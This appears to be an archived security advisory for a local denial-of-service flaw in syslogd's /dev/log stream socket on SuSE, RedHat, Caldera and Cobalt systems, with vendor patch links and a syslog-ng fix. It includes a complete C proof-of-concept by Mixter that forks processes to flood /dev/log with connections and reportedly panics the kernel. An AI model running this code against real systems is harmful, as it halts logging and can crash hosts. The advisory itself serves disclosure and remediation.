COMMAND
syslogd (a1)
SYSTEMS AFFECTED
SuSE 6.2 and 6.3 with syslogd-1.3.33 (a1), RedHat 4.x. 5.x, 6.x,
Caldera, Cobalt Networks
PROBLEM
Following is based on SuSE Security Announcement. A security
hole was discovered in the package mentioned above. The syslogd
server uses a Unix Domain stream socket (/dev/log) for receiving
local log messages via syslog(3). Unix Domain stream sockets are
non connection-less, that means, that one process is needed to
serve one client. By opening alot of local syslog connections a
user could stop the system from responding.
According to Mixter, the impact of the syslogd Denial Of Service
vulnerability seems to be bigger than expected. He found that
syslog could not be stopped from responding by one or a few
connections, since it uses select() calls to synchronously manage
the connections to /dev/log. He made an attempt with the attached
test code, which makes about 2000 connects to syslog, using
multiple processes, and his system instantly died with the
message: 'Kernel panic: can't push onto full stack'. Ir is
reproducable as non-root user, although it had to be done two
times to overcome the stronger user resource limits. This has
been tested with linux 2.0.38+syslog1.3 (redhat 5.2). The code:
*
* This opens up to 2000 unix domain socket connections
* to /dev/log, attempting to stop syslog from responding.
* WARNING: This apparently causes the kernel to panic!
* You might have to run this 2 times to reproduce it as non-root.
* This code is for educational purposes only, do not abuse.
*
*/
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/un.h>
#define PATH "/dev/log"
#define SHUTUPS 200
#define PROCS 10
int
main (void)
{
int s, i;
struct sockaddr_un sun;
char host[128];
sun.sun_family = AF_UNIX;
strncpy (sun.sun_path, PATH, 100);
gethostname (host, 128);
printf ("shutup - syslog1.3 DoS (c) Mixter - http://1337.tsx.org\n");
printf ("syslog on %s is now being overloaded...\n", host);
if (fork ())
exit (0);
for (i = 0; i < PROCS; i++)
if (fork () == 0)
break;
for (i = 0; i < SHUTUPS; i++)
{
if ((s = socket (AF_UNIX, SOCK_STREAM, 0)) < 0)
{
perror ("socket");
while (1);
}
if (connect (s, (struct sockaddr *) &sun, sizeof (struct sockaddr)) < 0)
{
perror ("connect");
close (s);
i--;
}
}
while (1);
}
There is an even more compelling reason to upgrade: After logs
were rotated, David F. Skoll noticed that the background chatter
of script kiddies probing his firewall ceased. It turns out that
when syslogd is sent a HUP signal, it closes and recreates the
/dev/log socket. If this is a stream socket, then klogd (the
daemon responsible for forwaring kernel log messages) fails.
Basically, after your logs are rotated, all kernel log messages
are lost. Update your syslogd now.
SOLUTION
Update as soon as possible or disable the service if you are using
this software on your SuSE Linux installation(s). Updated the
package from our FTP server:
ftp://ftp.suse.com/pub/suse/axp/update/6.1/a1/syslogd-1.3.33-9.alpha.rpm
ftp://ftp.suse.com/pub/suse/i386/update/5.3/a1/syslogd-1.3.33-9.i386.rpm
ftp://ftp.suse.com/pub/suse/i386/update/6.1/a1/syslogd-1.3.33-9.i386.rpm
ftp://ftp.suse.com/pub/suse/i386/update/6.2/a1/syslogd-1.3.33-9.i386.rpm
ftp://ftp.suse.com/pub/suse/i386/update/6.3/a1/syslogd-1.3.33-9.i386.rpm
Unfortunately, the current syslogd has a problem by which any
user on the local host can mount a denial of service attack that
effectively stops all logging. Since all programs that want to
send logging information to syslogd block until they're able to
establish a connection to syslogd, this will make programs such as
login, su, sendmail, telnetd, etc hang indefinitely.
The proper solution for Caldera is to upgrade to the latest
packages (rpm -U sysklogd-1.3.31-4.i386.rpm). The upgrade
packages can be found on Caldera's FTP site at:
ftp://ftp.calderasystems.com/pub/OpenLinux/updates/2.3/current/RPMS/
RPMs required for RedHat:
ftp://updates.redhat.com/4.2/i386/sysklogd-1.3.31-0.5.i386.rpm
ftp://updates.redhat.com/4.2/i386/libc-5.3.12-18.5.i386.rpm
ftp://updates.redhat.com/4.2/i386/libc-debug-5.3.12-18.5.i386.rpm
ftp://updates.redhat.com/4.2/i386/libc-devel-5.3.12-18.5.i386.rpm
ftp://updates.redhat.com/4.2/i386/libc-profile-5.3.12-18.5.i386.rpm
ftp://updates.redhat.com/4.2/i386/libc-static-5.3.12-18.5.i386.rpm
ftp://updates.redhat.com/4.2/alpha/sysklogd-1.3.31-0.5.alpha.rpm
ftp://updates.redhat.com/4.2/sparc/sysklogd-1.3.31-0.5.sparc.rpm
ftp://updates.redhat.com/4.2/sparc/libc-5.3.12-18.5.sparc.rpm
ftp://updates.redhat.com/4.2/sparc/libc-debug-5.3.12-18.5.sparc.rpm
ftp://updates.redhat.com/4.2/sparc/libc-devel-5.3.12-18.5.sparc.rpm
ftp://updates.redhat.com/4.2/sparc/libc-profile-5.3.12-18.5.sparc.rpm
ftp://updates.redhat.com/4.2/sparc/libc-static-5.3.12-18.5.sparc.rpm
ftp://updates.redhat.com/4.2/SRPMS/sysklogd-1.3.31-0.5.src.rpm
ftp://updates.redhat.com/4.2/SRPMS/libc-5.3.12-18.5.src.rpm
ftp://updates.redhat.com/5.2/i386/sysklogd-1.3.31-1.5.i386.rpm
ftp://updates.redhat.com/5.2/alpha/sysklogd-1.3.31-1.5.alpha.rpm
ftp://updates.redhat.com/5.2/sparc/sysklogd-1.3.31-1.5.sparc.rpm
ftp://updates.redhat.com/5.2/SRPMS/sysklogd-1.3.31-1.5.src.rpm
ftp://updates.redhat.com/6.0/i386/sysklogd-1.3.31-14.i386.rpm
ftp://updates.redhat.com/6.0/alpha/sysklogd-1.3.31-14.alpha.rpm
ftp://updates.redhat.com/6.0/sparc/sysklogd-1.3.31-14.sparc.rpm
ftp://updates.redhat.com/6.0/SRPMS/sysklogd-1.3.31-14.src.rpm
ftp://updates.redhat.com/6.1/i386/sysklogd-1.3.31-14.i386.rpm
ftp://updates.redhat.com/6.1/SRPMS/sysklogd-1.3.31-14.src.rpm
Cobalt Networks (Relevant products and architectures):
Product Architecture Vulnerable
Qube1 MIPS Yes
Qube2 MIPS Yes
RaQ1 MIPS Yes
RaQ2 MIPS Yes
RaQ3 x86 Yes
RPMS:
-RaQ3-
ftp://ftp.cobaltnet.com/pub/experimental/security/i386/sysklogd-1.3.33-9C1.i386.rpm
-RaQ1 RaQ2 Qube1 Qube2-
ftp://ftp.cobaltnet.com/pub/experimental/security/mips/sysklogd-1.3.33-9C2.mips.rpm
SRPMS:
ftp://ftp.cobaltnet.com/pub/experimental/security/srpms/sysklogd-1.3.33-9C1.src.rpm
ftp://ftp.cobaltnet.com/pub/experimental/security/srpms/sysklogd-1.3.33-9C2.src.rpm
This fix (and all the fixes released by distributions in the last
couple of days) switches to using SOCK_DGRAM style sockets from
using SOCK_STREAM ones, which may not be the best solution. It
can result in arbitrarily dropped messages. To use the fix issued
by distributors (e.g. switching to unix-dgram) with syslog-ng,
change your source statement:
from: source src { unix-stream("/dev/log"); };
to: source src{ unix-dgram("/dev/log"); };
of course you'll need to apply your local changes.